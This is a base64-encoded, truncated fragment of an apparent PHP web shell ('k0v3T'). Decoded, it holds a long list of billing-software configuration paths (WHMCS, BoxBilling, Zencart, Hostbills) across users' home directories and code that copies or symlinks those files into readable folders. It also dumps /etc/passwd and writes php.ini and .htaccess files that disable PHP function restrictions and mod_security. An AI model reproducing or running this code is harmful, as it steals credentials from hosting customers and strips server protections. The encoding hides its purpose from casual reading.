zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1NVUFBPUlRFUy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1N1cHBvcnRlcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3N1cHBvcnRlcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2RvbWFpbnMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9kb21haW4vc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9Ib3N0aW5nL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvSE9TVElORy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2hvc3Rpbmcvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DQVJUL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2FydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2NhcnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9PUkRFUi9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL09yZGVyL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvb3JkZXIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DTElFTlQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DbGllbnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jbGllbnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DTElFTlRBUkVBL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2xpZW50YXJlYS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2NsaWVudGFyZWEvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9TVVBQT1JUL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvU3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3N1cHBvcnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CSUxMSU5HL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQmlsbGluZy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2JpbGxpbmcvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CVVkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CdXkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9idXkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9NQU5BR0Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9NYW5hZ2Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9tYW5hZ2Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DTElFTlRTVVBQT1JUL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2xpZW50U3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL0NsaWVudHN1cHBvcnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jbGllbnRzdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ0hFQ0tPVVQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DaGVja291dC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2NoZWNrb3V0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQklMTElOR1Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvYmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JBU0tFVC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvQmFza2V0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iYXNrZXQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1NFQ1VSRS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvU2VjdXJlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zZWN1cmUvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1NBTEVTL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9TYWxlcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc2FsZXMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JJTEwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JpbGwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1BVUkNIQVNFL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9QdXJjaGFzZS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvcHVyY2hhc2Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0FDQ09VTlQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0FjY291bnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2FjY291bnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1VTRVIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1VzZXIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3VzZXIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0NMSUVOVFMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0NsaWVudHMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudHMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9CaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvYmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL01ZL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9NeS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvbXkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NlY3VyZS93aG0vc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NlY3VyZS93aG1jcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvcGFuZWwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGVzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zdXBwb3J0L29yZGVyL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ib3hiaWxsaW5nL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JveC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0hvc3QvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydGVzL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3N1cHBvcnQvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvaG9zdGluZy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jYXJ0L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL29yZGVyL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRzL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGUvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50ZXMvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvYmlsbGluZy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iaWxsaW5ncy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9teS9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zZWN1cmUvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydC9vcmRlci9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiA9PiAiWmVuY2FydCIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9wcm9kdWN0cy9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiA9PiAiWmVuY2FydCIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zaG9wL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCIgPT4gIlplbmNhcnQiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvaG9zdGJpbGxzL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2hvc3QvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvSG9zdC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zdXBwb3J0ZXMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0aW5nL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NhcnQvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvb3JkZXIvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudHMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50ZS9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRlcy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iaWxsaW5nL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGxpbmdzL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL215L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NlY3VyZS9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zdXBwb3J0L29yZGVyL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIg0KKTsgIA0KDQpmb3JlYWNoKCRncmFiX2NvbmZpZyBhcyAkY29uZmlnID0+ICRuYW1hX2NvbmZpZykgew0KCWlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ2dyYWInKSB7DQokYW1iaWxfY29uZmlnID0gZmlsZV9nZXRfY29udGVudHMoJGNvbmZpZyk7DQppZigkYW1iaWxfY29uZmlnID09ICcnKSB7DQp9IGVsc2Ugew0KJGZpbGVfY29uZmlnID0gZm9wZW4oImswdjNUX2NvbmZpZ2dyYWIvJHVzZXJfazB2M1QtJG5hbWFfY29uZmlnLnR4dCIsInciKTsNCmZwdXRzKCRmaWxlX2NvbmZpZywkYW1iaWxfY29uZmlnKTsNCn0NCn0NCmlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bWxpbmsnKSB7DQpAc3ltbGluaygkY29uZmlnLCJrMHYzVF9TeW1jb25maWcvIi4kdXNlcl9rMHYzVC4iLSIuJG5hbWFfY29uZmlnLiIudHh0Iik7DQp9DQppZigkX1BPU1RbJ2NvbmZpZyddID09ICc0MDQnKSB7DQokc3ltNDA0PXN5bWxpbmsoJGNvbmZpZywiazB2M1Rfc3ltNDA0LyIuJHVzZXJfazB2M1QuIi0iLiRuYW1hX2NvbmZpZy4iLnR4dCIpOw0KaWYoJHN5bTQwNCl7DQoJQG1rZGlyKCJrMHYzVF9zeW00MDQvIi4kdXNlcl9rMHYzVC4iLSIuJG5hbWFfY29uZmlnLiIudHh0NDA0IiwgMDc3Nyk7DQoJJGh0YWNjZXNzPSJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQ0KSGVhZGVyTmFtZSBrMHYzVC50eHQNClNhdGlzZnkgQW55DQpJbmRleE9wdGlvbnMgSWdub3JlQ2FzZSBGYW5jeUluZGV4aW5nIEZvbGRlcnNGaXJzdCBOYW1lV2lkdGg9KiBEZXNjcmlwdGlvbldpZHRoPSogU3VwcHJlc3NIVE1MUHJlYW1ibGUNCkluZGV4SWdub3JlICoiOw0KDQpAZmlsZV9wdXRfY29udGVudHMoImswdjNUX3N5bTQwNC8iLiR1c2VyX2swdjNULiItIi4kbmFtYV9jb25maWcuIi50eHQ0MDQvLmh0YWNjZXNzIiwkaHRhY2Nlc3MpOw0KDQpAc3ltbGluaygkY29uZmlnLCJrMHYzVF9zeW00MDQvIi4kdXNlcl9rMHYzVC4iLSIuJG5hbWFfY29uZmlnLiIudHh0NDA0L2swdjNULnR4dCIpOw0KDQoJfQ0KDQp9DQoNCiAgICAgICAgICAgICAgICAgICAgfSAgICAgDQoJCX0gIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ2dyYWInKSB7DQogICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxhIGhyZWY9Jz9wYXRoPSRwYXRoL2swdjNUX2NvbmZpZ2dyYWInPjxmb250IGNvbG9yPWxpbWU+RG9uZTwvZm9udD48L2E+PC9jZW50ZXI+IjsNCgkJfQ0KICAgIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJzQwNCcpIHsNCiAgICAgICAgZWNobyAiPGNlbnRlcj4NCjxhIGhyZWY9XCJrMHYzVF9zeW00MDQvcm9vdC9cIj5TeW1saW5rTnlhPC9hPg0KPGJyPjxhIGhyZWY9XCJrMHYzVF9zeW00MDQvXCI+Q29uZmlndXJhdGlvbnM8L2E+PC9jZW50ZXI+IjsNCiAgICB9DQogICAgIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bWxpbmsnKSB7DQplY2hvICI8Y2VudGVyPg0KPGEgaHJlZj1cImswdjNUX3N5bWNvbmZpZy9yb290L1wiPlN5bWxpbmtueWE8L2E+DQo8YnI+PGEgaHJlZj1cImswdjNUX3N5bWNvbmZpZy9cIj5Db25maWd1cmF0aW9uczwvYT48L2NlbnRlcj4iOw0KCQkJfWlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bXZob3N0Jykgew0KZWNobyAiPGNlbnRlcj4NCjxhIGhyZWY9XCJrMHYzVF9zeW12aG9zdC9yb290L1wiPlJvb3QgU2VydmVyPC9hPg0KPGJyPjxhIGhyZWY9XCJrMHYzVF9zeW12aG9zdC9cIj5Db25maWd1cmF0aW9uczwvYT48L2NlbnRlcj4iOw0KCQkJfQ0KCQkNCgkJDQoJCX1lbHNlew0KICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiXCI+PGNlbnRlcj4NCgkJPC9jZW50ZXI+PC9zZWxlY3Q+PGJyPjx0ZXh0YXJlYSBuYW1lPVwicGFzc3dkXCIgY2xhc3M9J2FyZWEnIHJvd3M9JzE1JyBjb2xzPSc2MCc+XG4iOw0KICAgICAgICBlY2hvIGluY2x1ZGUoIi9ldGMvcGFzc3dkIik7IA0KICAgICAgICBlY2hvICI8L3RleHRhcmVhPjxicj48YnI+DQogICAgICAgIDxzZWxlY3QgY2xhc3M9XCJzZWxlY3RcIiBuYW1lPVwiY29uZmlnXCIgIHN0eWxlPVwid2lkdGg6IDQ1MHB4O1wiIGhlaWdodD1cIjEwXCI+DQogICAgICAgIDxvcHRpb24gdmFsdWU9XCJncmFiXCI+Q29uZmlnIEdyYWI8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT1cInN5bWxpbmtcIj5TeW1saW5rIENvbmZpZzwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPVwiNDA0XCI+Q29uZmlnIDQwNDwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPVwic3ltdmhvc3RzXCI+Vmhvc3RzIENvbmZpZyBHcmFiYmVyPC9vcHRpb24+PGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiU3RhcnQhIVwiPjwvdGQ+PC90cj48L2NlbnRlcj5cbiI7DQp9DQoNCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ2Rpc2FibGVmdW5jJyl7DQoJCWVjaG8gIjxicj48YnI+PGNlbnRlcj4iOw0KCQllY2hvICI8Zm9ybSBtZXRob2Q9cG9zdD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1pbmkgdmFsdWU9J3BocC5pbmknIC8+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9aHRjZSB2YWx1ZT0nLmh0YWNjZXNzJyAvPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWxpdGluaSB2YWx1ZT0nTGl0ZXNwZWVkJyAvPjwvZm9ybT4iOw0KCQlpZihpc3NldCgkX1BPU1RbJ2luaSddKSkNCnsNCgkJJGZpbGUgPSBmb3BlbigicGhwLmluaSIsInciKTsNCgkJZWNobyBmd3JpdGUoJGZpbGUsImRpc2FibGVfZnVuY3Rpb25zPW5vbmUNCnNhZmVfbW9kZSA9IE9mZg0KCSIpOw0KCQlmY2xvc2UoJGZpbGUpOw0KCQllY2hvICI8YSBocmVmPSdwaHAuaW5pJz5jbGljayBoZXJlITwvYT4iOw0KfQkJaWYoaXNzZXQoJF9QT1NUWydodGNlJ10pKQ0Kew0KCQkkZmlsZSA9IGZvcGVuKCIuaHRhY2Nlc3MiLCJ3Iik7DQoJCWVjaG8gZndyaXRlKCRmaWxlLCI8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQpTZWNGaWx0ZXJFbmdpbmUgT2ZmDQpTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+DQoJIik7DQoJCWZjbG9zZSgkZmlsZSk7DQoJCWVjaG8gImh0YWNjZXNzIHN1Y2Nlc3NmdWxseSBjcmVhdGVkISI7DQp9ICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydsaXRpbmknXSkpew0KCQkkaW5pcGggPSAnPD8gbiBlY2hv